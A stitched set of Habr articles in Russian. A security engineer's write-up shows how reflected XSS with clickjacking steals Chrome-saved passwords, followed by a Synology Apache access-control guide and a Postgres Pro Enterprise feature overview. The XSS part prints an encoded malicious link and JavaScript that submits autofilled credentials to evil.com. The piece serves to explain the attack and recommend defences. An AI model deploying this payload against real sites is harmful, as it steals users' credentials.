Чтож, на этом со вступлением закончено. [В следующей статье](https://habr.com/ru/post/461053/) я расскажу, как подключить векторные онлайн-карты. | https://habr.com/ru/post/461031/ | null | ru | null |
# Похищаем сохраненный в Chrome пароль с помощью XSS
Меня зовут Артем Мышенков, я ведущий инженер по технической защите информации в команде безопасности [REG.RU](http://REG.RU). Наша команда занимается тестированием систем компании на безопасность и поиском уязвимостей.
В этой статье я расскажу о том, как с помощью [XSS-атаки](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3) в сочетании с [ClickJacking’ом](https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%BA%D0%B4%D0%B6%D0%B5%D0%BA%D0%B8%D0%BD%D0%B3) злоумышленники могут похитить сохраненные в браузере пароли.
XSS ― это одна из самых популярных веб-уязвимостей. Строго говоря, это атака, а не уязвимость, но условимся, что иногда под XSS я буду подразумевать уязвимость, которая позволяет проводить XSS-атаку.
Согласно википедии, **XSS** (англ. Cross-Site Scripting) *―* это «*тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействия этого кода с веб-сервером злоумышленника»*.
Вообще мы стараемся оперативно выявлять и устранять уязвимости, но представим, что на сайте [REG.RU](http://REG.RU) прямо сейчас есть такая, которая позволяет провести XSS-атаку.
### Суть атаки
Чтобы атаковать пользователя сайта, его нужно вынудить перейти по специально сформированной ссылке (о методах социальной инженерии, которые позволяют это сделать, поговорим как-нибудь в другой раз). Атака, для которой нужна спец ссылка, называется ReflectedXSS. Есть ещё StoredXSS, в случае которой вредоносный код сохраняется на странице, поэтому жертву даже не надо вынуждать перейти по ссылке, а нужно просто дождаться пока кто-нибудь откроет зараженную страницу.
Допустим, в результате социальной инженерии пользователь перешел по такой ссылке:
<https://www.reg.ru/vulnerable_page?vulnerable_param=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%61%2e%6a%73%3e>
На первый взгляд она не вызывает особых подозрений: длинновата, но домен-то правильный и открывается наш сайт, из-за чего может показаться, что бояться нечего (спойлер: тем, кто не хранит пароли в браузере, атака действительно не страшна). Но при переходе по ссылке срабатывает вредоносный код, который закодирован в URL. Скрипт крадет сохраненную в браузере связку логин/пароль от личного кабинета [REG.RU](http://REG.RU) жертвы.
Вот как это выглядит глазами пользователя, который перешел по ссылке — на странице появляется уведомление об ошибке (специально показываем какое-нибудь стандартное сообщение, чтобы не вызвать подозрений):
При клике по кнопке **OK** откроется главная страница сайта. В общем-то и всё. Странно, но не подозрительно. Понять, что в это время злоумышленник уже получил сохраненный в браузере пароль, практически невозможно.
А теперь разберемся, как эта атака вообще работает.
### Технические подробности
Посмотрим, что спрятано в ссылке. Для этого декодируем ее:
При переходе по ссылке загружается и выполняется JavaScript:
```
var p = document.createElement("input");
p.setAttribute("type", "password");
p.setAttribute("name", "password");
var l = document.createElement("input");
l.setAttribute("type", "text");
l.setAttribute("name", "login");
var f = document.createElement("form");
f.setAttribute("method", "post");
f.setAttribute("action", "https://evil.com/");
f.appendChild(l);
f.appendChild(p);
document.body.appendChild(f)
function clck() {setTimeout(()=>{f.submit()}, 1000)}
document.body.setAttribute('onclick', 'clck()');
setTimeout(()=>{alert('Ошибка отправки CSRF-токена')},2000)
```
Этот код создает на странице форму и поля с названиями, совпадающими с формой авторизации, чтобы браузер знал, куда подставить сохраненный пароль. Форма добавляется в са-а-амом низу:
Чтобы браузер (в эксперименте использовался Chrome) подставил пароль, нужно взаимодействие пользователя со страницей. Сымитировать нажатие с помощью JS не получится, нужен настоящий клик. Для этого провоцируем жертву на инстинктивное нажатие на кнопку **OK** в сообщении об ошибке. В том, чтобы вынудить пользователя кликнуть в определенное место и есть суть атаки под названием ClickJacking. Чтобы все успело прогрузиться и отработать, указываем необходимые таймауты. Вешаем обработчик onclick на body.
После первого клика пароль отправляется на сайт хакера, где остается только его записать, а клиенту вернуть редирект на главную страницу.
Так как же обычному пользователю защититься от конкретно этой атаки? Ответ прост: не нужно хранить пароли в браузере. Своим коллегам мы рекомендуем использовать менеджеры паролей, например KeePass или KeePassXC.
К слову, у KeePassXC есть плагин для браузера, который позволяет автоматически заполнять пароли для сайтов. Защитил бы он от атаки, которую мы провели? Давайте разберемся.
### Расширение браузера KeePassXC
При добавлении формы на страницу, расширение KeePassXC также ее находит, но при этом подставляет свою иконку в поле ввода. Чтобы осуществить подстановку логина-пароля, нужно нужно кликнуть именно по этой иконке (ключик внизу):
Можно было бы попытаться скрыть отображение формы на странице, сделав ее прозрачной, и, сильно заморочившись, подогнать ее под кнопку **OK** во всплывающем окне, реализовав тем самым настоящий ClickJacking. Но от этого нас спасает директива *shadow-root(closed)*, которая не позволяет управлять элементами расширения из внешних скриптов:
Таким образом, мы не можем повлиять на прозрачность иконки KeePassXC. Это будет выглядеть подозрительно:
Конечно, и здесь есть вероятность, что жертва не заметит и кликнет по иконке менеджера паролей, в результате чего пароль подставится в форму и уйдет злоумышленнику, но иконка даст хоть какой-то повод насторожиться и не нажимать на опасную кнопку. К тому же, в этот момент должна быть разблокирована база паролей и должен быть разрешен доступ к паролям с текущей страницы. При правильных настройках вероятность атаки сводится к минимуму.
### Кратко о том, как не допустить уязвимость
А теперь скажем пару слов как не допустить на вашем сайте уязвимость, позволяющую провести XSS-атаку.
Основной момент ― это правильная обработка данных, которые поступают из недоверенного источника и встраиваются в HTML-код страницы. К слову, это не обязательно значения из параметров URL. Это могут быть любые данные, на которые может повлиять пользователь и которые отображаются где-то на странице.
Для начала нужно понять в каком контексте эти данные попадают в код:
* внутри тегов HTML, внутри аргументов тегов, внутри комментариев HTML;
* в javascript-коде (например, внутри кода | https://habr.com/ru/post/680256/ | null | ru | null |
# Ограничение доступа к веб-приложениям в Synology DSM
Системы хранения Synology — достаточно распространенная нынче штука. Они удобные, тихие, компактные, с кучей возможностей. Однако собственное облако — это хорошо, но надо серьезно задуматься о безопасности. Далее мы рассмотрим, как гибко ограничить доступ к пользовательским веб приложениям Synology. Будем использовать авторизацию x509 сертификатами, именем и паролем и ограничение по IP адресам.
В DSM есть 2 типа приложений с веб интерфейсом:
* системные (сам рабочий стол, PhotoStation, VideoStation, TimeMachine и пр)
* пользовательские. Работают при включенном сервисе WebStation. Например: dokuWiki, mediaWiki, RSS reader, и пр)
Самая простая защита от доступа из вне — перенести приложение на нестандартный порт. С системными приложениями это сделать несложно — в панели управления есть соответствующие настройки.
С пользовательскими чуть сложнее, к тому же иногда хочется оставить их на стандартном 443 порту, доступными по протоколу HTTPS (от использования HTTP есть смысл отказаться совсем).
Итак, я опишу некую “жизненную” конфигурацию. Дано:
— Synology DSM 5.2-5592 Update 4
— Включен сервис WebStation, на нем запущено:
* DokuWiki (Wiki со своими внутренними пользователями)
* Tiny RSS (RSS reader)
* Cops (Каталог электронной библиотеки)
— Доступ к самой DSM возможен снаружи и из внутренней сети.
Надо заметить, что уровень доверия к системным приложениям DSM достаточно высок — обновления безопасности системы выпускаются часто. Чего не скажешь про пользовательские приложения. На мой взгляд именно их уязвимости (потенциальные) и представляют основную угрозу безопасности всей системе и пользовательским данным конкретного приложения. Поэтому доступ к ним необходимо ограничить. Опять же — некоторые приложения не подразумевают никакой авторизации и разграничения прав доступа к своим данным, рассчитывая на использование только во внутренней сети.
Ограничивать доступ будем следующим образом:
**DokuWiki** — свободный доступ из внутренней сети. Снаружи доступ только при наличии сертификата. Используется модуль apache mod\_ssl. Затем вступает в действие внутренняя система авторизации. Как я уже писал выше, в DokuWiki свои собственные пользователи и своя система прав на доступ к статьям.
**Tiny RSS** — свободный доступ из внутренней сети. Снаружи доступ только при наличии сертификата. Используется модуль apache mod\_ssl. Больше никаких дополнительных средств ограничения доступа не требуется.
**Cops** — свободный доступ из внутренней сети. Из вне доступ по имени и паролю. Используется модуль apache mod\_auth\_digest. Подразумевается, что снаружи могут подключаться всевозможные “электронные книги” и я не уверен, что на них возможно загрузить пользовательский сертификат и использовать его в веб-браузере.
Таким образом для ограничения доступа используются различные модули веб сервера Apache.
Теперь реализация, настроим авторизацию по сертификатам
-------------------------------------------------------
Идея здесь такая, что только пользователь, имеющий сертификат, подписанный нашим CA, имеет доступ к определенной части сайта.
1. Нам необходимо создать самоподписанный CA (Certificate Authority) и с помощью него создать клиентский сертификат. Как это делать описывать не буду — существует много инструкций, например: [www.opennet.ru/base/sec/ssl\_cert.txt.html](http://www.opennet.ru/base/sec/ssl_cert.txt.html), да и наверняка у некоторых уже есть собственный CA, который можно использовать для наших целей. Да, и чтобы соответствовать реалиям, мы чуть усложним задачу и добавим промежуточный CA, т.е. сделаем цепочку: Root CA — Intermediate CA — client:
1. Создаем самоподписанный RootCA.crt
2. Создаем InterCA.crt, подписанный RootCA.crt
3. Создаем клиентский: client.crt, подписанный промежуточным
4. Из созданных сертификатов делаем bundle командой: cat RootCA.crt InterCA.crt >ca-bundle.crt
5. Копируем ca-bundle.crt и InterCA.crt на Synology в папку /usr/syno/etc/ssl/ssl.crt/
2. Редактируем соответствующий конфиг apache (/etc/httpd/conf/extra/httpd-ssl.conf-cipher), добавляем в него строки:
```
SSLCACertificatePath "/usr/syno/etc/ssl/ssl.crt"
# Комплект из корневого и промежуточного сертификата
SSLCACertificateFile "/usr/syno/etc/ssl/ssl.crt/ca-bundle.crt"
# авторизоваться смогут только клиентские сертификаты, подписанные этим СА
SSLCADNRequestFile "/usr/syno/etc/ssl/ssl.crt/InterCA.crt"
```
3. Настраиваем DokuWiki. Создаем /volume1/web/dokuwiki/.htaccess файл или добавляем в существующий строки:
```
# Если mod_revrite недоступен, то жестко включаем авторизацию по сертификатам.
SSLVerifyClient require
# Включаем необязательную авторизацию
SSLVerifyClient optional
# Глубина проверки. Т.к. у нас bundle состоит из 2х - корневого и промежуточного сертификатов.
SSLVerifyDepth 2
# Условие редиректа: Если не было успешной авторизации сертификатом
RewriteCond %{SSL:SSL\_CLIENT\_VERIFY} !^SUCCESS$
# Условие редиректа: Если клиент не из локальной сети 192.168.1.x
RewriteCond %{REMOTE\_ADDR} !^192.168.1.[0-9]\*$
# Если оба условия выполнены - делаем редирект на ошибку 403
RewriteRule ^ - [F]
```
4. Перезагружаем httpd-user сервис командой: synoservicectl --restart httpd-user
5. С DokuWiki все.
6. Аналогичным образом прописываем .htaccess для **TynyRSS**
Затем настроим авторизацию по имени-паролю:
-------------------------------------------
1. Создаем файл с пользователями и паролями командой: /etc/httpd/passwddg -с /etc/httpd/passwddg “Books Library” bookuser. Таким образом пользователь bookuser будет иметь возможность подключиться к сервису. Обратите внимание, если вы будете добавлять других пользователей в тот же файл, необходимо убрать ключ -с, иначе файл с паролями перезапишется!
2. Настраиваем **Cops**. Создаем /volume1/web/cops/.htaccess файл или добавляем в существующий строки:
```
# для разнообразия ограничиваем доступ только к PHP файлам. Этого достаточно.
Order allow,deny
# разрешаем доступ только с домашней подсети 192.168.1.x
Allow from 192.168.1
# включаем Digest авторизацию
AuthDigestProvider file
# Файл, в котором хранятся пользователи и пароли из предыдущего шага
AuthUserFile /etc/httpd/passwddg
AuthType Digest
# Имя защищенного ресурса, задается в файле с паролями на предыдущем шаге
AuthName "Books Library"
# Разрешаем доступ для любого пользователя, прошедшего авторизацию
Require valid-user
# для получения доступа должно быть выполнено любое условие.
# Либо клиент с IP адресом из домашней подсети,
# либо авторизованный именем и паролем пользователь
Satisfy Any
```
3. Перезагружаем httpd-user сервис: synoservicectl --restart httpd-user
4. C Cops тоже все готово!
#### Пару слов об использованных методах авторизации
**auth\_digest:** пришла на смену auth\_basic и отличается от предшественницы тем, что пароль не передается в открытом виде, соответственно ее можно использовать поверх HTTP.
**SSL:** как часть модуля mod\_ssl. Основное: каждый, кто будет иметь клиентский сертификат, подписанный нашим CA будет иметь доступ к необходимым приложениям.
Как можно усовершенствовать авторизацию с помощью сертификатов?
— Можно для разных приложений использовать разные CA
— Можно разрешать доступ пользователю на основе различных полей сертификата
— Можно выпускать клиентский сертификат на короткий срок — например на неделю или на месяц
— Можно (даже нужно) добавить в конфигурацию путь к CRL (список отозванных сертификатов) для оперативной блокировки отдельных пользователей
— Клиентские сертификаты можно закрывать паролем и/или хранить на USB eToken
Удачной настройки! | https://habr.com/ru/post/266991/ | null | ru | null |
# Различия Postgres Pro Enterprise и PostgreSQL
1. Кластер multimaster
----------------------
Расширение `multimaster` и его поддержка в ядре, которые есть только в версии **Postgres Pro Enterprise**, дают возможность строить кластеры серверов высокой доступности (High Availability). После каждой транзакции гарантируется глобальная целостность (целостность данных в масштабах кластера), т.е. на каждом его узле данные будут идентичны. При этом легко можно добиться, чтобы производительность по чтению масштабировалась линейно с ростом количества узлов.
В ванильном PostgreSQL есть возможность строить высокодоступные кластеры с помощью потоковой репликации, но для определения вышедших из строя узлов и восстановления узла после сбоя требуются сторонние утилиты, и хитроумные скрипты. `multimaster` справляется с этим сам, работает из коробки без использования внешних утилит или сервисов.
Масштабирование по чтению в ванильном `PostgreSQL` возможно при репликации в режиме горячего резерва (`Hot-standby`), но с существенной оговоркой: приложение должно уметь разделять `read-only` и `read-write` запросы. То есть для работы на ванильном кластере приложение, возможно, придется переписать: по возможности использовать отдельные соединения с базой для read-only транзакций, и распределять эти соединения по всем узлам. Для кластера с `multimaster` писать можно на любой узел, поэтому проблемы с разделением соединений с БД на пишущие и только читающие нет. В большинстве случаев переписывать приложение не надо.
Для обеспечения отказоустойчивости приложение должно уметь делать `reconnect` — т.е. совершать попытку восстановления соединения с базой при его нарушении. Это касается как ванильного кластера, так и `multimaster`.
С помощью логической репликации в ванильном `PostgreSQL` можно реализовать асинхронную двунаправленную репликацию (например [`BDR`](https://www.2ndquadrant.com/en/resources/bdr/) от *2ndQuadrant*), но при этом не обеспечивается глобальная целостность и возникает необходимость разрешения конфликтов, а это можно сделать только на уровне приложения, исходя из его внутренней логики. То есть эти проблемы перекладываются на прикладных программистов. Наш `multimaster` сам обеспечивает изоляцию транзакций (сейчас реализованы уровни изоляции транзакций «повторяемое чтение» (`Repeatable Read`) и «чтение фиксированных данных» (`Read Committed`). В процессе фиксации транзакции все реплики будут согласованы, и пользовательское приложение будет видеть одно и то же состояние базы; ему не надо знать, на какой машине выполняется запрос. Чтобы этого добиться и получить предсказуемое время отклика в случае отказа узла, инициировавшего транзакцию, мы реализовали механизм 3-фазной фиксации транзакций (3-phase `commit protocol`). Этот механизм сложнее, чем более известный 2-фазный, поэтому поясним его схемой. Для простоты изобразим два узла, имея в виду, что на самом деле аналогично узлу 2 обычно работает четное число узлов.
*Рис. 1. Схема работы multimaster*
Запрос на фиксацию транзакции приходит на узел 1 и записывается в WAL узла. Остальные узлы кластера (узел 2 на схеме) получают по протоколу логической репликации информацию об изменениях данных и, получив запрос подготовить фиксацию транзакции (`prepare transaction`) применяют изменения (без фиксации). После этого они сообщают узлу, инициировавшему транзакцию, о своей готовности зафиксировать транзакцию (`transaction prepared`). В случае, когда хотя хотя бы один узел не отвечает, транзакция откатывается. При положительном ответе всех узлов, узел 1 посылает на узлы сообщение, что транзакцию можно зафиксировать (`precommit` transaction).
Здесь проявляется отличие от 2-фазной транзакции. Это действие на первый взгляд может показаться лишним, но на самом деле это важная фаза. В случае 2-фазной транзакции узлы зафиксировали бы транзакцию и сообщили об этом 1-му, инициировавшему транзакцию узлу. Если бы в этот момент оборвалась связь, то узел 1, не зная ничего об успехе/неуспехе транзакции на узле 2, вынужден был бы ждать ответа, пока не станет понятно, что он должен сделать для сохранения целостности: откатить или зафиксировать транзакцию (или фиксировать, рискуя целостностью). Итак, в 3-фазной схеме во время 2-ой фазы все узлы голосуют: фиксировать ли транзакцию. Если большинство узлов готово зафиксировать ее, то арбитр объявляет всем узлам, что транзакция зафиксирована. Узел 1 фиксирует транзакцию, отправляет `commit` по логической репликации и сообщает метку времени фиксации транзакции (она необходима всем узлам для соблюдения изоляции транзакций для читающих запросов. В будущем метка времени будет заменена на [`CSN`](https://postgrespro.ru/blog/pgsql/130532) — идентификатор фиксации транзакции, `Commit Sequence Number`). Если узлы оказались в меньшинстве, то они не смогут ни записывать, ни читать. Нарушения целостности не произойдет даже в случае обрыва соединения.
Архитектура `multimaster` выбрана нами с расчетом на будущее: мы заняты разработкой эффективного шардинга. Когда таблицы станут распределенными (то есть данные на узлах уже будут разными), станет возможно масштабирование не только по чтению, но и по записи, так как не надо будет параллельно записывать все данные по всем узлам кластера. Кроме того мы разрабатываем средства общения между узлами по протоколу [`RDMA`](https://ru.wikipedia.org/wiki/%D0%A3%D0%B4%D0%B0%D0%BB%D1%91%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BF%D1%80%D1%8F%D0%BC%D0%BE%D0%B9_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF_%D0%BA_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D0%B8) (в коммутаторах `InfiniBand` или в устройствах `Ethernet`, где `RDMA` поддерживается), когда узел напрямую общается к памяти других узлов. За счет этого на упаковку и распаковку сетевых пакетов тратится меньше времени, и задержки при передаче данных получаются небольшие. Поскольку узлы интенсивно общаются при синхронизации изменений, это даст выигрыш в производительности всего кластера.
2. 64-разрядные счетчики транзакций
-----------------------------------
Эта принципиальная переделка ядра СУБД нужна только для сильно нагруженных систем, но для них она не просто желательна. Она необходима. В ядре `PostgreSQL` счетчик транзакций 32-разрядный, это значит, более чем до 4 миллиардов им досчитать невозможно. Это приводит к проблемам, которые решаются «заморозкой» — специальной процедурой регламентного обслуживания `VACUUM FREEZE`. Однако если счетчик переполняется слишком часто, то затраты на эту процедуру оказываются очень высокими, и могут привести даже к невозможности записывать что-либо в базу. В России сейчас не так уж мало корпоративных систем, у которых переполнение происходит за 1 день, ну а базы, переполняющиеся с недельной периодичностью, теперь не экзотика. На конференции разработчиков [PGCon 2017](https://www.pgcon.org/2017/) в Оттаве рассказывали, что у некоторых заказчиков переполнения счетчика происходило за 2-3 часа. В наше время люди стремятся складывать в базы те данные, которые раньше выбрасывали, относясь с пониманием к ограниченным возможностям тогдашней техники. В современном бизнесе часто заранее не известно, какие данные могут понадобиться для аналитики.
Проблема переполнения счетчика носит название (`transaction ID wraparound`), поскольку пространство номеров транзакций закольцовано (это наглядно объясняется в [статье](https://habrahabr.ru/company/postgrespro/blog/301238/) *Дмитрия Васильева*). При переполнении счетчик обнуляется и идет на следующий круг.
*Рисунок 2. Как действует заморозка транзакций, отставших больше, чем на полкруга.*
В ванильном `PostgreSQL` (то есть с заведомо 32-разрядным счетчиком транзакций) тоже что-то делается для облегчения проблемы transaction wraparound. Для этого в версии 9.6 в формат карты видимости `(visibility map)` был добавлен бит `all-frozen`, которым целые страницы помечаются как замороженные, поэтому плановая (когда накапливается много старых транзакций) и аварийная (при приближении к переполнению) заморозки происходят намного быстрее. С остальными страницами СУБД работает в обычном режиме. Благодаря этому общая производительность системы при обработке переполнения страдает меньше, но проблема в принципе не решена. Описанная ситуация с остановкой системы по-прежнему не исключена, хоть вероятность ее и снизилась. По-прежнему надо тщательно следить за настройками `VACUUM FREEZE`, чтобы не было неожиданных проседаний производительности из-за ее работы.
Замена 32-разрядных счетчиков на 64-разрядные отодвигает переполнение практически в бесконечность. Необходимость в `VACUUM FREEZE` практически отпадает (в текущей версии заморозка все еще используется для обработки `pg_clog` и `pg_multixact` и в экстренном случае, о котором ниже). Но в лоб задача не решается. Если у таблицы мало полей, и особенно если эти поля целочисленные, ее объем может существенно увеличиться (ведь в каждой записи хранятся номера транзакции, породивших запись и той, что эту версию записи удалила, а каждый номер теперь состоит из 8 байтов вместо 4). Наши разработчики не просто добавили 32 разряда. В `Postgres Pro Enterprise` верхние 4 байта не входят в запись, они представляют собой «эпоху» — смещение `(offset)` на уровне страницы данных. Эпоха добавляется к обычному 32-разрядному номеру транзакции в записях таблицы. И таблицы не распухают.
Теперь, если система попытается записать `XID`, который не помещается в диапазон, определенный эпохой для страницы, то мы должны либо увеличить сдвиг, либо заморозить целую страницу. Но это безболезненно выполняется в памяти. Остается ограничение в случае, когда самый минимальный `XID`, который еще может быть востребован снимками данных `(snapshots)`, отстанет от того, который мы хотим записать в эту страницу, больше, чем на 232. Но это маловероятно. К тому же в ближайшее время мы скорее всего преодолеем и это ограничение.
Другая проблема 32-разрядных счетчиков в том, что обработка переполнений очень сложный процесс. Вплоть до версии 9.5 в соответствующем коде находили и исправляли весьма критичные баги, и нет гарантий, что баги не проявятся в следующих версиях. В нашей реализации 64-разрядного счетчика транзакций заложена простая и ясная логика, поэтому работать с нею и дальше ее развивать будет проще, чем бороться с переполнением.
Файлы данных систем с 64-разрядными счетчиками бинарно несовместимы с 32-разрядными, но у нас есть удобные утилиты для конвертации данных.
3. Постраничное сжатие
----------------------
В PostgreSQL, в отличие от большинства других СУБД, отсутствует сжатие (компрессия) на уровне страниц `(page level compression)`. Сжимаются только `TOAST`-данные. Если в БД много записей с относительно небольшими текстовыми полями, то сжатием можно было бы в несколько раз уменьшить размер БД, что помогло бы не только сэкономить на дисках, но и повысить производительность работы СУБД. Особенно эффективно могут ускоряться за счет сокращения операций ввода-вывода аналитические запросы, читающие много данных с диска и не слишком часто изменяющие их.
В `Postgres`-сообществе предлагают использовать для сжатия файловые системы с поддержкой компрессии. Но это не всегда удобно и возможно. Поэтому в `Postgres Pro Enterprise` мы добавили собственную реализацию постраничного сжатия. По результатам тестирования у различных пользователей `Postgres Pro` размер БД удалось уменьшить от 2 до 5 раз.
В нашей реализации страницы хранятся сжатыми на диске, но при чтении в буфер распаковываются, поэтому работа с ними в оперативной памяти происходит точно так же, как обычно. Разворачивание сжатых данных и их сжатие происходит быстро и практически не увеличивает загрузку процессора.
Поскольку объем измененных данных при сжатии страницы может увеличиться, мы не всегда можем вернуть ее на исходное место. Мы записываем сжатую страницу в конец файла. При последовательной записи сбрасываемых на диск страниц может значительно возрасти общая производительность системы. Это требует файла отображения логических адресов в физические, но этот файл невелик и издержки незаметны.
Размер самого файла при последовательной записи увеличится. Запуская по регламенту или вручную сборку мусора, мы можем периодически делать файл компактнее (дефрагментировать его), перемещая все непустые страницы в начало файла. Собирать мусор можно в фоновом режиме (блокируется сегмент, но не вся таблица), причем мы можем задать число фоновых процессов, собирающих мусор.
| Сжатие (алгоритм) | Размер (Гб) | Время (сек) |
| --- | --- | --- |
| без сжатия | 15.31 | 92 |
| snappy | 5.18 | 99 |
| lz4 | 4.12 | 91 |
| postgres internal lz | 3.89 | 214 |
| lzfse | 2.80 | 1099 |
| zlib (best speed) | 2.43 | 191 |
| zlib (default level) | 2.37 | 284 |
| zstd | 1.69 | 125 |
*Сравнение механизмов компрессии. Параметры теста: pgbench -i -s 1000*
Для сжатия мы выбрали современный алгоритм zstd (его разработали в *Facebook*). Мы опробовали различные алгоритмы сжатия, и остановились на `zstd`: это лучший компромисс между качеством и скоростью сжатия, как видно из таблицы.
4. Автономные транзакции
------------------------
Технически суть автономной транзакции в том, что эта транзакция, выполненная из основной, родительской транзакции, может фиксироваться или откатываться независимо от фиксирования/отката родительской. Автономная транзакция выполняется в собственном контексте. Если определить не автономную, а обычную транзакцию внутри другой (вложенная транзакция) то внутренняя всегда откатится, если откатится родительская. Такое поведение не всегда устраивает разработчиков приложений.
Автономные транзакции часто используются там, где нужны логирование действий или аудит. Например, необходима запись о попытке некоторого действия в журнал в ситуации, когда транзакция откатывается. Автономная транзакция позволяет сделать так, чтобы «чувствительные» действия сотрудников (просмотр или внесение изменений в счета клиентов) всегда оставляли следы, по которым можно будет в экстренной ситуации восстановить картину (пример на эту тему будет ниже).
В таких СУБД как `Oracle` и `DB2` (но не `MS SQL`) автономные транзакции формально задаются не как транзакции, а как автономные блоки внутри процедур, функций, триггеров и неименованных блоков. В `SAP HANA` тоже есть автономные транзакции, но их как раз можно определять и как транзакции, а не только блоки функций.
В `Oracle`, например, автономные транзакции определяются в начале блока как `PRAGMA AUTONOMOUS_TRANSACTION`. Поведение процедуры, функции или неименованного блока определяется на этапе их компиляции и во время исполнения меняться не может.
В `PostgreSQL` автономных транзакций вообще нет. Их можно имитировать, запуская новое соединение при помощи dblink, но это выливается в накладные расходы, сказывается на быстродействии и попросту неудобно. Недавно, после появления модуля `pg_background`, было предложено имитировать автономные транзакции, запуская фоновые процессы. Но и это оказалось неэффективно (к причинам мы вернемся ниже, при анализе результатов тестов).
В Postgres Pro Enterprise мы реализовали автономные транзакции в ядре `СУБД`. Теперь ими можно пользоваться и как вложенными автономными транзакциями, и в функциях.
Во вложенных автономных транзакциях можно определять все доступные `PostgreSQL` уровни изоляции — Read Committed, Repeatable Read и Serializable — независимо от уровня родительской транзакции. Например:
`BEGIN TRANSACTION
<..>
BEGIN AUTONOMOUS TRANSACTION ISOLATION LEVEL REPEATABLE READ
<..>
END;
END;`
Все возможные комбинации работают и дают разработчику необходимую гибкость. Автономная транзакция никогда не видит результатов действий родительской, ведь та еще не зафиксирована. Обратное зависит от уровня изоляции основной. Но в отношениях их с транзакцией, стартовавшей независимо, будут действовать обычные правила изоляции.
В функциях синтаксис немного отличается: ключевое слово `TRANSACTION` выдаст ошибку. Автономный блок в функции определяется всего лишь вот так:
`CREATE FUNCTION <..> AS
BEGIN;
<..>
BEGIN AUTONOMOUS
<..>
END;
END;`
Соответственно уровень изоляции задать нельзя, он определяется уровнем родительской транзакции, а если он явно не задан, то уровнем по умолчанию.
Приведем пример, который считается одним из классических в мире коммерческих СУБД. В некотором банке в таблице customer\_info хранятся данные клиентов, их долги
`CREATE TABLE customer\_info(acc_id int, acc_debt int);
INSERT INTO customer\_info VALUES(1, 1000),(2, 2000);`
Пусть эта таблица будет недоступна напрямую сотруднику банка. Однако они имеют возможность проверить долги клиентов с помощью доступной им функции:
`CREATE OR REPLACE FUNCTION get\_debt(cust_acc_id int) RETURNS int AS
$$
DECLARE
debt int;
BEGIN
PERFORM log_query(CURRENT\_USER::text, cust_acc_id, now());
SELECT acc_debt FROM customer_info WHERE acc_id = cust_acc_id INTO debt;
RETURN debt;
END;
$$ LANGUAGE plpgsql;`
Перед тем, как подсмотреть данные клиента, функция записывает имя пользователя СУБД, номер эккаунта клиента и время операции в в таблицу лог:
`CREATE TABLE log\_sensitive\_reads(bank_emp_name text, cust_acc_id int, query_time timestamptz);
CREATE OR REPLACE FUNCTION log\_query(bank_usr text, cust_acc_id int, query_time timestamptz) RETURNS void AS
$$
BEGIN
INSERT INTO log\_sensitive\_reads VALUES(bank_usr, cust_acc_id, query_time);
END;
$$ LANGUAGE plpgsql;`
Мы хотим, чтобы сотрудник имел возможность осведомиться о долгах клиента, но, дабы не поощрять праздное или злонамеренное любопытство, хотим всегда видеть в логе следы его деятельности.
Любопытный сотрудник выполнит команды:
`BEGIN;
SELECT get\_debt(1);
ROLLBACK;`
В этом случае сведения о его деятельности откатятся вместе с откатом всей транзакции. Поскольку нас это не устраивает, мы модифицируем функцию логирования:
`CREATE OR REPLACE FUNCTION
log\_query(bank_usr text, cust_acc_id int, query_time timestamptz) RETURNS void AS
$$
BEGIN
BEGIN AUTONOMOUS
INSERT INTO log\_sensitive\_reads VALUES(bank_usr, cust_acc_id, query_time);
END;
END;
$$ LANGUAGE plpgsql;`
Теперь, как бы не старался сотрудник замести следы, все его просмотры данных клиентов будут протоколироваться.
Автономные транзакции удобнейшее средство отладки. Сомнительный участок кода успеет записать отладочное сообщение перед тем, как неудачная транзакция откатится:
`BEGIN AUTONOMOUS
INSERT INTO test(msg) VALUES('STILL in DO cycle. after pg\_background call: '||clock_timestamp()::text);
END;`
В заключение о производительности. Мы тестировали нашу реализацию автономных транзакций в сравнении с теми же SQL без автономных транзакций, с решением с «голым» `dblink`, комбинацию `dblink` с `pgbouncer` и с контролем соединения.
Расширение `pg_background` создает три функции: `pg_background_launch(query)` запускает фоновый процесс `background worker`, который будет исполнять переденный функции SQL; `pg_background_result(pid)` получает результат от процесса, созданного `pg_background_launch(query)` и `pg_background_detach(pid)` отсоединяет фоновый процесс от его создателя. Код, исполняющий транзакцию не слишком интуитивный:
`PERFORM * FROM pg\_background\_result(pg\_background\_launch(query))
AS (result text);`
Но более существенно, что, как и ожидалось, создание процесса на каждый SQL работает медленно. Из истории создания pg\_background известно, что предполагалась четвертая функция `pg_background_run(pid, query)`, которое передает новое задание уже запущенному процессу. В этом случае время на создание процесса не будет тратиться на каждый SQL, но это функция недоступна в текущей реализации.
*Роберт Хаас*, создавший первую версию `pg_background`, говорит:
*«Я скептически отношусь к такому подходу [к имитации автономных транзакций при помощи `pg_background]`. Как и* Грег Старк, Серж Рило *и* Константин Пан*, я полагаю, что автономные транзакции следует выполнять внутри одного и того же серверного процесса `[backend]`, не полагаясь на фоновые процессы `[background_workers]`. При таком подходе мы вряд ли выйдем за лимит числа фоновых процессов `[max_worker_processes]`, и работать он, скорее всего, будет эффективнее, особенно когда автономная транзакция выполняет небольшую работу, внося, скажем, небольшую запись в дневник».*
Именно так и реализован наш вариант автономных транзакций: материнский процесс запоминает свой контекст, переключается на новый и, после исполнения автономной транзакции, возвращается к материнскому. Результаты тестов подтверждают соображения *Хааса*, механизм, использующий `pg_background` работает в 6-7 раз медленнее, чем автономные транзакции в `Postgres Pro Enterprise`.
*Рис. 3. Производительность различных реализаций автономных транзакций. Тесты проводились нами на базе pgbech с `INSERT` в таблицу `pgbench_history`. Коэффициент масштабирования при инициализации БД был равен 10. TPS на «чистом» SQL принят за 100.*
PS. ***Продолжение следует!***
